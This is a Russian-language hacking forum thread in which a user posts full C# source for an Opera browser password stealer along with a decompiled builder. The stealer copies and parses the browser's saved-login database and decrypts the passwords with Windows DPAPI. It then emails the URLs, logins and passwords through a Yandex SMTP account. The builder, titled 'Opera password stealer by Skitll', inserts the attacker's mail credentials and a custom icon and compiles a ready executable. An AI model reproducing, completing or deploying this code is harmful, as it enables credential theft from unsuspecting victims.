Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.
Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.
по конкретнее можно что эта такое, и что она делает ?
stealer паролей от браузера опера .по конкретнее можно что эта такое, и что она делает ?
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
using System.Text;
using System.IO;
using System.Threading;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Net.Mail;
using System.Net;
namespace source
{
static class Program
{
private static string[] BasePaths =
{
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Login Data"
};
public static string Email = "%[email protected]%";
public static string Pass = "%qwerty%";
public static string TempPatch = System.IO.Path.GetTempPath();
static void Main()
{
File.Delete(TempPatch + "result_skitll.txt");
Thread.Sleep(300);
string Result = String.Empty;
foreach (string BasePath in BasePaths)
{
List<Table> Logins = Chromium.Get(BasePath);
if (Logins == null) continue;
foreach (Table UData in Logins)
{
string Temp = String.Join(" || ", new string[] { UData.Url.Replace("http://", String.Empty).Replace("https://", String.Empty).Replace("www.", String.Empty), UData.Login, UData.Password }) + "\r\n";
if (String.IsNullOrWhiteSpace(UData.Login) || String.IsNullOrWhiteSpace(UData.Password) || Result.Contains(Temp))
{
continue;
}
Result += Temp;
}
}
File.AppendAllText(TempPatch + "result_skitll.txt", Result);
Thread.Sleep(1500);
SmtpClient Smtp = new SmtpClient("smtp.yandex.ru", 587);
Smtp.Credentials = new NetworkCredential(Email, Pass);
Smtp.EnableSsl = true;
MailMessage Message = new MailMessage();
Message.From = new MailAddress(Email);
Message.To.Add(Email);
Message.Subject = "Skitll Report";
Message.Body = "Skitll Report";
Message.Attachments.Add(new Attachment(TempPatch + "result_skitll.txt"));
Smtp.Send(Message);
}
}
class SQHandler
{
private struct RecordHeaderField
{
public Int64 size;
public Int64 type;
}
private struct TableEntry
{
public Int64 row_id;
public string[] content;
}
private struct SqliteMasterEntry
{
public Int64 row_id;
public string item_type;
public string item_name;
public Int64 root_num;
public string sql_statement;
}
private byte[] FileBytes;
private string[] FieldNames;
private ulong PageSize = 0;
private ulong DbEncoding = 0;
private TableEntry[] TableEntries;
private SqliteMasterEntry[] MasterTableEntries;
private byte[] SQLDataTypeSize = new byte[] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
public SQHandler(string FileName)
{
FileBytes = File.ReadAllBytes(FileName);
PageSize = ConvertToULong(16, 2);
DbEncoding = ConvertToULong(56, 4);
ReadMasterTable(100);
}
public string GetValue(int row_num, int field)
{
try
{
if (row_num >= TableEntries.Length)
return null;
if (field >= TableEntries[row_num].content.Length)
return null;
return TableEntries[row_num].content[field];
}
catch
{
return null;
}
}
public int GetRowCount()
{
return TableEntries.Length;
}
public string GetValue(int row_num, string field)
{
try
{
int found = -1;
for (int i = 0; i <= FieldNames.Length; i += 1)
{
if (FieldNames[i].ToLower().CompareTo(field.ToLower()) == 0)
{
found = i;
break;
}
}
if (found == -1)
return null;
return GetValue(row_num, found);
}
catch
{
return null;
}
}
private bool ReadTableFromOffset(UInt64 Offset)
{
try
{
if (FileBytes[Offset] == 0xd)
{
UInt16 Length = (ushort)(ConvertToULong((int)Offset + 3, 2) - 1);
int ol = 0;
if ((TableEntries != null))
{
ol = TableEntries.Length;
Array.Resize(ref TableEntries, TableEntries.Length + Length + 1);
}
else
{
TableEntries = new TableEntry[Length + 1];
}
UInt64 EntOffset = default(UInt64);
for (ushort i = 0; i <= Length; i += 1)
{
EntOffset = ConvertToULong((int)Offset + 8 + (i * 2), 2);
if (Offset != 100) EntOffset = EntOffset + Offset;
int t = GVL((int)EntOffset);
Int64 size = CVL((int)EntOffset, t);
int s = GVL((int)(EntOffset + ((ulong)t - EntOffset) + 1));
TableEntries[ol + i].row_id = CVL((int)(EntOffset + ((ulong)t - EntOffset) + 1), s);
EntOffset += ((ulong)s - EntOffset) + 1;
t = GVL((int)EntOffset);
s = t;
Int64 Rec_Header_Size = CVL((int)EntOffset, t);
RecordHeaderField[] FieldSize = null;
Int64 size_read = (long)((EntOffset - (ulong)t) + (ulong)1);
int j = 0;
while (size_read < Rec_Header_Size)
{
Array.Resize(ref FieldSize, j + 1);
t = s + 1;
s = GVL(t);
FieldSize[j].type = CVL(t, s);
if (FieldSize[j].type > 9)
{
if (IsOdd(FieldSize[j].type)) FieldSize[j].size = (FieldSize[j].type - 13) / 2;
else FieldSize[j].size = (FieldSize[j].type - 12) / 2;
}
else
{
FieldSize[j].size = SQLDataTypeSize[FieldSize[j].type];
}
size_read = size_read + (s - t) + 1;
j = j + 1;
}
TableEntries[ol + i].content = new string[FieldSize.Length];
int counter = 0;
for (int k = 0; k <= FieldSize.Length - 1; k += 1)
{
if (FieldSize[k].type > 9)
{
if (!IsOdd(FieldSize[k].type))
{
if (DbEncoding == 1)
{
TableEntries[ol + i].content[k] = Encoding.Default.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + counter), (int)FieldSize[k].size);
}
else if (DbEncoding == 2)
{
TableEntries[ol + i].content[k] = Encoding.Unicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + counter), (int)FieldSize[k].size);
}
else if (DbEncoding == 3)
{
TableEntries[ol + i].content[k] = Encoding.BigEndianUnicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + counter), (int)FieldSize[k].size);
}
}
else
{
TableEntries[ol + i].content[k] = Encoding.Default.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + counter), (int)FieldSize[k].size);
}
}
else
{
TableEntries[ol + i].content[k] = Convert.ToString(ConvertToULong((int)((long)EntOffset + Rec_Header_Size + counter), (int)FieldSize[k].size));
}
counter += (int)FieldSize[k].size;
}
}
}
else if (FileBytes[Offset] == 0x5)
{
UInt16 Length = (ushort)(ConvertToULong((int)(Offset + 3), 2) - 1);
UInt16 EntOffset = default(UInt16);
for (ushort i = 0; i <= Length; i += 1)
{
EntOffset = (ushort)ConvertToULong((int)((int)Offset + 12 + (i * 2)), 2);
ReadTableFromOffset((ConvertToULong((int)(Offset + (ulong)EntOffset), 4) - 1) * PageSize);
}
ReadTableFromOffset((ConvertToULong((int)(Offset + 8), 4) - 1) * PageSize);
}
return true;
}
catch
{
return false;
}
}
private void ReadMasterTable(long Offset)
{
try
{
if (FileBytes[Offset] == 0xd)
{
ulong Length = ConvertToULong((int)Offset + 3, 2) - 1;
int ol = 0;
if ((MasterTableEntries != null))
{
ol = MasterTableEntries.Length;
Array.Resize(ref MasterTableEntries, MasterTableEntries.Length + (int)Length + 1);
}
else
{
MasterTableEntries = new SqliteMasterEntry[Length + 1];
}
UInt64 EntOffset = default(UInt64);
for (ulong i = 0; i <= Length; i += 1)
{
EntOffset = ConvertToULong((int)Offset + 8 + ((int)i * 2), 2);
if (Offset != 100)
EntOffset += (ulong)Offset;
dynamic t = GVL((int)EntOffset);
Int64 size = CVL((int)EntOffset, t);
dynamic s = GVL((int)(EntOffset + ((ulong)t - EntOffset) + 1));
MasterTableEntries[ol + (int)i].row_id = CVL((int)(EntOffset + ((ulong)t - EntOffset) + 1), s);
EntOffset += ((ulong)s - EntOffset) + 1;
t = GVL((int)EntOffset);
s = t;
Int64 Rec_Header_Size = CVL((int)EntOffset, t);
Int64[] Field_Size = new Int64[5];
for (int j = 0; j <= 4; j += 1)
{
t = s + 1;
s = GVL(t);
Field_Size[j] = CVL(t, s);
if (Field_Size[j] > 9)
{
if (IsOdd(Field_Size[j]))
{
Field_Size[j] = (Field_Size[j] - 13) / 2;
}
else
{
Field_Size[j] = (Field_Size[j] - 12) / 2;
}
}
else
{
Field_Size[j] = SQLDataTypeSize[Field_Size[j]];
}
}
if (DbEncoding == 1)
{
MasterTableEntries[ol + (int)i].item_type = Encoding.Default.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size), (int)Field_Size[0]);
}
else if (DbEncoding == 2)
{
MasterTableEntries[ol + (int)i].item_type = Encoding.Unicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size), (int)Field_Size[0]);
}
else if (DbEncoding == 3)
{
MasterTableEntries[ol + (int)i].item_type = Encoding.BigEndianUnicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size), (int)Field_Size[0]);
}
if (DbEncoding == 1)
{
MasterTableEntries[ol + (int)i].item_name = Encoding.Default.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + Field_Size[0]), (int)Field_Size[1]);
}
else if (DbEncoding == 2)
{
MasterTableEntries[ol + (int)i].item_name = Encoding.Unicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + Field_Size[0]), (int)Field_Size[1]);
}
else if (DbEncoding == 3)
{
MasterTableEntries[ol + (int)i].item_name = Encoding.BigEndianUnicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + Field_Size[0]), (int)Field_Size[1]);
}
MasterTableEntries[ol + (int)i].root_num = (long)ConvertToULong((int)((long)EntOffset + Rec_Header_Size + Field_Size[0] + Field_Size[1] + Field_Size[2]), (int)Field_Size[3]);
if (DbEncoding == 1)
{
MasterTableEntries[ol + (int)i].sql_statement = Encoding.Default.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + Field_Size[0] + Field_Size[1] + Field_Size[2] + Field_Size[3]), (int)Field_Size[4]);
}
else if (DbEncoding == 2)
{
MasterTableEntries[ol + (int)i].sql_statement = Encoding.Unicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + Field_Size[0] + Field_Size[1] + Field_Size[2] + Field_Size[3]), (int)Field_Size[4]);
}
else if (DbEncoding == 3)
{
MasterTableEntries[ol + (int)i].sql_statement = Encoding.BigEndianUnicode.GetString(FileBytes, (int)((long)EntOffset + Rec_Header_Size + Field_Size[0] + Field_Size[1] + Field_Size[2] + Field_Size[3]), (int)Field_Size[4]);
}
}
}
else if (FileBytes[Offset] == 0x5)
{
ushort Length = (ushort)(ConvertToULong((int)Offset + 3, 2) - 1);
ushort EntOffset = default(UInt16);
for (int i = 0; i <= Length; i += 1)
{
EntOffset = (ushort)ConvertToULong((int)Offset + 12 + (i * 2), 2);
if (Offset == 100)
{
ReadMasterTable((long)((ConvertToULong((int)EntOffset, 4) - 1) * PageSize));
}
else
{
ReadMasterTable((long)((ConvertToULong((int)(Offset + (long)EntOffset), 4) - 1) * PageSize));
}
}
ReadMasterTable((long)((ConvertToULong((int)((int)Offset + 8), 4) - 1) * PageSize));
}
}
catch
{
}
}
public bool ReadTable(string TableName)
{
try
{
int found = -1;
for (int i = 0; i <= MasterTableEntries.Length; i += 1)
{
if (MasterTableEntries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)
{
found = i;
break;
}
}
if (found == -1) return false;
var fields = MasterTableEntries[found].sql_statement.Substring(MasterTableEntries[found].sql_statement.IndexOf("(") + 1).Split(',');
for (int i = 0; i <= fields.Length - 1; i += 1)
{
fields[i] = fields[i].TrimStart();
var index = fields[i].IndexOf(' ');
if (index > 0) fields[i] = fields[i].Substring(0, index);
if (fields[i].IndexOf("UNIQUE") != 0)
{
Array.Resize(ref FieldNames, i + 1);
FieldNames[i] = fields[i];
}
}
return ReadTableFromOffset(((ulong)(MasterTableEntries[found].root_num - 1) * PageSize));
}
catch
{
return false;
}
}
public string[] GetTableNames()
{
try
{
string[] retVal = new string[1];
int arr = 0;
for (int i = 0; i <= MasterTableEntries.Length - 1; i += 1)
{
if (MasterTableEntries[i].item_type == "table")
{
Array.Resize(ref retVal, arr + 1);
retVal[arr] = MasterTableEntries[i].item_name;
arr = arr + 1;
}
}
return retVal;
}
catch
{
return null;
}
}
private ulong ConvertToULong(int StartIndex, int Size)
{
try
{
if (Size > 8 | Size == 0) return 0;
UInt64 retVal = 0;
for (int i = 0; i <= Size - 1; i += 1)
retVal = ((retVal << 8) | FileBytes[StartIndex + i]);
return retVal;
}
catch
{
return 0;
}
}
private int GVL(int StartIdx)
{
try
{
if (StartIdx > FileBytes.Length)
return 0;
for (int i = StartIdx; i <= StartIdx + 8; i += 1)
{
if (i > FileBytes.Length - 1)
{
return 0;
}
else if ((FileBytes[i] & 0x80) != 0x80)
{
return i;
}
}
return StartIdx + 8;
}
catch
{
return 0;
}
}
private Int64 CVL(int StartIdx, int EndIdx)
{
try
{
EndIdx = EndIdx + 1;
byte[] retus = new byte[8];
dynamic Length = EndIdx - StartIdx;
bool Bit64 = false;
if (Length == 0 | Length > 9) return 0;
if (Length == 1)
{
retus[0] = (byte)(FileBytes[StartIdx] & 0x7f);
return BitConverter.ToInt64(retus, 0);
}
if (Length == 9) Bit64 = true;
int j = 1;
int k = 7;
int y = 0;
if (Bit64)
{
retus[0] = FileBytes[EndIdx - 1];
EndIdx--;
y = 1;
}
for (int i = (EndIdx - 1); i >= StartIdx; i += -1)
{
if ((i - 1) >= StartIdx)
{
retus[y] = (byte)((int)(FileBytes[i] >> (j - 1)) & ((int)(0xff >> j)) | ((int)FileBytes[i - 1] << k));
j = j + 1;
y = y + 1;
k = k - 1;
}
else
{
if (!Bit64) retus[y] = (byte)((FileBytes[i] >> (j - 1)) & (0xff >> j));
}
}
return BitConverter.ToInt64(retus, 0);
}
catch
{
return 0;
}
}
private bool IsOdd(Int64 value)
{
return (value & 1) == 1;
}
}
class Chromium
{
[DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
private static extern bool CryptProtectData(ref DATA_BLOB pPlainText, string szDescription, ref DATA_BLOB pEntropy, IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pCipherText);
[DllImport("crypt32.dll", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
private static extern
bool CryptUnprotectData(ref DATA_BLOB pCipherText, ref string pszDescription, ref DATA_BLOB pEntropy, IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pPlainText);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
internal struct DATA_BLOB
{
public int cbData;
public IntPtr pbData;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
internal struct CRYPTPROTECT_PROMPTSTRUCT
{
public int cbSize;
public int dwPromptFlags;
public IntPtr hwndApp;
public string szPrompt;
}
private static byte[] Decrypt(byte[] cipherTextBytes, out string description, byte[] entropyBytes = null)
{
DATA_BLOB plainTextBlob = new DATA_BLOB();
DATA_BLOB cipherTextBlob = new DATA_BLOB();
DATA_BLOB entropyBlob = new DATA_BLOB();
CRYPTPROTECT_PROMPTSTRUCT prompt = new CRYPTPROTECT_PROMPTSTRUCT();
prompt.cbSize = Marshal.SizeOf(typeof(CRYPTPROTECT_PROMPTSTRUCT));
prompt.dwPromptFlags = 0;
prompt.hwndApp = IntPtr.Zero;
prompt.szPrompt = null;
description = String.Empty;
try
{
try
{
if (cipherTextBytes == null)
cipherTextBytes = new byte[0];
cipherTextBlob.pbData = Marshal.AllocHGlobal(cipherTextBytes.Length);
if (cipherTextBlob.pbData == IntPtr.Zero) throw new Exception(String.Empty);
cipherTextBlob.cbData = cipherTextBytes.Length;
Marshal.Copy(cipherTextBytes, 0, cipherTextBlob.pbData, cipherTextBytes.Length);
}
catch (Exception ex)
{
throw new Exception(String.Empty, ex);
}
try
{
if (entropyBytes == null)
entropyBytes = new byte[0];
entropyBlob.pbData = Marshal.AllocHGlobal(entropyBytes.Length);
if (entropyBlob.pbData == IntPtr.Zero) throw new Exception(String.Empty);
entropyBlob.cbData = entropyBytes.Length;
Marshal.Copy(entropyBytes, 0, entropyBlob.pbData, entropyBytes.Length);
}
catch (Exception ex)
{
throw new Exception(String.Empty, ex);
}
int flags = 0x1;
bool success = CryptUnprotectData(ref cipherTextBlob, ref description, ref entropyBlob, IntPtr.Zero, ref prompt, flags, ref plainTextBlob);
if (!success)
{
int errCode = Marshal.GetLastWin32Error();
throw new Exception(String.Empty, new Win32Exception(errCode));
}
byte[] plainTextBytes = new byte[plainTextBlob.cbData];
Marshal.Copy(plainTextBlob.pbData, plainTextBytes, 0, plainTextBlob.cbData);
return plainTextBytes;
}
catch (Exception ex)
{
throw new Exception(String.Empty, ex);
}
finally
{
if (plainTextBlob.pbData != IntPtr.Zero)
Marshal.FreeHGlobal(plainTextBlob.pbData);
if (cipherTextBlob.pbData != IntPtr.Zero)
Marshal.FreeHGlobal(cipherTextBlob.pbData);
if (entropyBlob.pbData != IntPtr.Zero)
Marshal.FreeHGlobal(entropyBlob.pbData);
}
}
public static List<Table> Get(string BasePath)
{
if (!File.Exists(BasePath)) return null;
try
{
string TempPath = Path.GetTempPath() + '/' + GetRandomString(new Random().Next(3, 24)) + ".fv";
if (File.Exists(TempPath)) File.Delete(TempPath);
File.Copy(BasePath, TempPath);
File.SetAttributes(TempPath, FileAttributes.Hidden | FileAttributes.System);
SQHandler Handler = new SQHandler(TempPath);
Handler.ReadTable("logins");
List<Table> DataTable = new List<Table>();
for (int i = 0; i < Handler.GetRowCount(); i++)
{
string Description = String.Empty;
string Password = Encoding.Default.GetString(Decrypt(Encoding.Default.GetBytes(Handler.GetValue(i, 5)), out Description));
DataTable.Add(new Table { Url = Handler.GetValue(i, 1), Login = Handler.GetValue(i, 3), Password = Password });
}
Thread.Sleep(1500);
File.Delete(TempPath);
return DataTable;
}
catch { return null; }
}
private static string GetRandomString(int Size)
{
string Result = String.Empty;
Random Random = new Random();
string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (int i = 0; i < Size; i++) Result += Alphabet[Random.Next(0, Alphabet.Length - 1)];
return Result;
}
}
class Table
{
public string Url { get; set; }
public string Login { get; set; }
public string Password { get; set; }
}
}
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;
using bilder.Properties;
using Microsoft.CSharp;
// Token: 0x02000004 RID: 4
public class FormMain : Form
{
// Token: 0x0600000D RID: 13 RVA: 0x00002140 File Offset: 0x00000340
protected override void Dispose(bool disposing)
{
if (disposing && this.icontainer_0 != null)
{
this.icontainer_0.Dispose();
}
base.Dispose(disposing);
}
// Token: 0x0600000E RID: 14 RVA: 0x0000216C File Offset: 0x0000036C
private void InitializeComponent()
{
this.btBild = new Button();
this.txtIco = new TextBox();
this.btIco = new Button();
this.groupBox1 = new GroupBox();
this.txtPass = new TextBox();
this.txtEmail = new TextBox();
this.linkLabel1 = new LinkLabel();
this.label1 = new Label();
this.groupBox1.SuspendLayout();
this.SuspendLayout();
this.btBild.Font = new Font("Verdana", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 204);
this.btBild.Location = new Point(13, 152);
this.btBild.Margin = new Padding(4);
this.btBild.Name = "btBild";
this.btBild.Size = new Size(266, 28);
this.btBild.TabIndex = 0;
this.btBild.Text = "Bild";
this.btBild.UseVisualStyleBackColor = true;
this.btBild.Click += this.btBild_Click;
this.txtIco.Location = new Point(13, 12);
this.txtIco.Name = "txtIco";
this.txtIco.ReadOnly = true;
this.txtIco.Size = new Size(210, 23);
this.txtIco.TabIndex = 1;
this.txtIco.Text = "null";
this.btIco.Location = new Point(229, 12);
this.btIco.Name = "btIco";
this.btIco.Size = new Size(50, 23);
this.btIco.TabIndex = 2;
this.btIco.Text = "Ico";
this.btIco.UseVisualStyleBackColor = true;
this.btIco.Click += this.btIco_Click;
this.groupBox1.Controls.Add(this.txtPass);
this.groupBox1.Controls.Add(this.txtEmail);
this.groupBox1.Location = new Point(13, 41);
this.groupBox1.Name = "groupBox1";
this.groupBox1.Size = new Size(266, 104);
this.groupBox1.TabIndex = 3;
this.groupBox1.TabStop = false;
this.groupBox1.Text = "SMTP Yandex.ru";
this.txtPass.Location = new Point(6, 62);
this.txtPass.Name = "txtPass";
this.txtPass.Size = new Size(254, 23);
this.txtPass.TabIndex = 1;
this.txtPass.Text = "password";
this.txtPass.TextAlign = HorizontalAlignment.Center;
this.txtEmail.Location = new Point(6, 33);
this.txtEmail.Name = "txtEmail";
this.txtEmail.Size = new Size(254, 23);
this.txtEmail.TabIndex = 0;
this.txtEmail.Text = "[email protected]";
this.txtEmail.TextAlign = HorizontalAlignment.Center;
this.linkLabel1.AutoSize = true;
this.linkLabel1.Location = new Point(241, 192);
this.linkLabel1.Name = "linkLabel1";
this.linkLabel1.Size = new Size(38, 16);
this.linkLabel1.TabIndex = 4;
this.linkLabel1.TabStop = true;
this.linkLabel1.Text = "Click";
this.linkLabel1.LinkClicked += this.linkLabel1_LinkClicked;
this.label1.AutoSize = true;
this.label1.Location = new Point(10, 192);
this.label1.Name = "label1";
this.label1.Size = new Size(102, 16);
this.label1.TabIndex = 5;
this.label1.Text = "dark-time.com";
this.AutoScaleDimensions = new SizeF(8f, 16f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(292, 217);
this.Controls.Add(this.label1);
this.Controls.Add(this.linkLabel1);
this.Controls.Add(this.groupBox1);
this.Controls.Add(this.btIco);
this.Controls.Add(this.txtIco);
this.Controls.Add(this.btBild);
this.Font = new Font("Verdana", 9.75f, FontStyle.Regular, GraphicsUnit.Point, 204);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Margin = new Padding(4);
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FormMain";
this.ShowIcon = false;
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = "Opera password stealer by Skitll";
this.groupBox1.ResumeLayout(false);
this.groupBox1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
// Token: 0x0600000F RID: 15 RVA: 0x000026CC File Offset: 0x000008CC
public FormMain()
{
this.InitializeComponent();
}
// Token: 0x06000010 RID: 16 RVA: 0x000026E8 File Offset: 0x000008E8
private void btBild_Click(object sender, EventArgs e)
{
SaveFileDialog saveFileDialog = new SaveFileDialog
{
Filter = "Executable Files|*.exe",
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
};
if (saveFileDialog.ShowDialog() == DialogResult.OK)
{
string text = Resources.String_0;
text = text.Replace("%[email protected]%", this.txtEmail.Text);
text = text.Replace("%qwerty%", this.txtPass.Text);
this.method_0(text, saveFileDialog.FileName);
}
}
// Token: 0x06000011 RID: 17 RVA: 0x00002760 File Offset: 0x00000960
private void method_0(string string_0, string string_1)
{
try
{
CompilerParameters compilerParameters = new CompilerParameters();
compilerParameters.GenerateExecutable = true;
compilerParameters.ReferencedAssemblies.Add("System.dll");
compilerParameters.ReferencedAssemblies.Add("System.Windows.Forms.dll");
compilerParameters.ReferencedAssemblies.Add("System.Drawing.dll");
compilerParameters.ReferencedAssemblies.Add("System.Data.dll");
compilerParameters.ReferencedAssemblies.Add("Microsoft.CSharp.dll");
compilerParameters.ReferencedAssemblies.Add("System.Core.dll");
string text = "/target:winexe";
if (this.txtIco.Text != "null")
{
text = text + " /win32icon:\"" + this.txtIco.Text + "\"";
}
compilerParameters.CompilerOptions = text;
compilerParameters.OutputAssembly = string_1;
compilerParameters.TreatWarningsAsErrors = false;
CompilerResults compilerResults = new CSharpCodeProvider(new Dictionary<string, string>
{
{
"CompilerVersion",
"v4.0"
}
}).CompileAssemblyFromSource(compilerParameters, new string[]
{
string_0
});
if (compilerResults.Errors.Count > 0)
{
foreach (object obj in compilerResults.Errors)
{
CompilerError compilerError = (CompilerError)obj;
MessageBox.Show(compilerError.ToString());
}
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
// Token: 0x06000012 RID: 18 RVA: 0x00002908 File Offset: 0x00000B08
private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
{
Process.Start("https://skitlllicense.000webhostapp.com/");
}
// Token: 0x06000013 RID: 19 RVA: 0x00002920 File Offset: 0x00000B20
private void btIco_Click(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
Filter = "Icone files|*.ico",
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
};
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
this.txtIco.Text = openFileDialog.FileName;
}
}
// Token: 0x04000007 RID: 7
private IContainer icontainer_0;
// Token: 0x04000008 RID: 8
private Button btBild;
// Token: 0x04000009 RID: 9
private TextBox txtIco;
// Token: 0x0400000A RID: 10
private Button btIco;
// Token: 0x0400000B RID: 11
private GroupBox groupBox1;
// Token: 0x0400000C RID: 12
private TextBox txtPass;
// Token: 0x0400000D RID: 13
private TextBox txtEmail;
// Token: 0x0400000E RID: 14
private LinkLabel linkLabel1;
// Token: 0x0400000F RID: 15
private Label label1;
}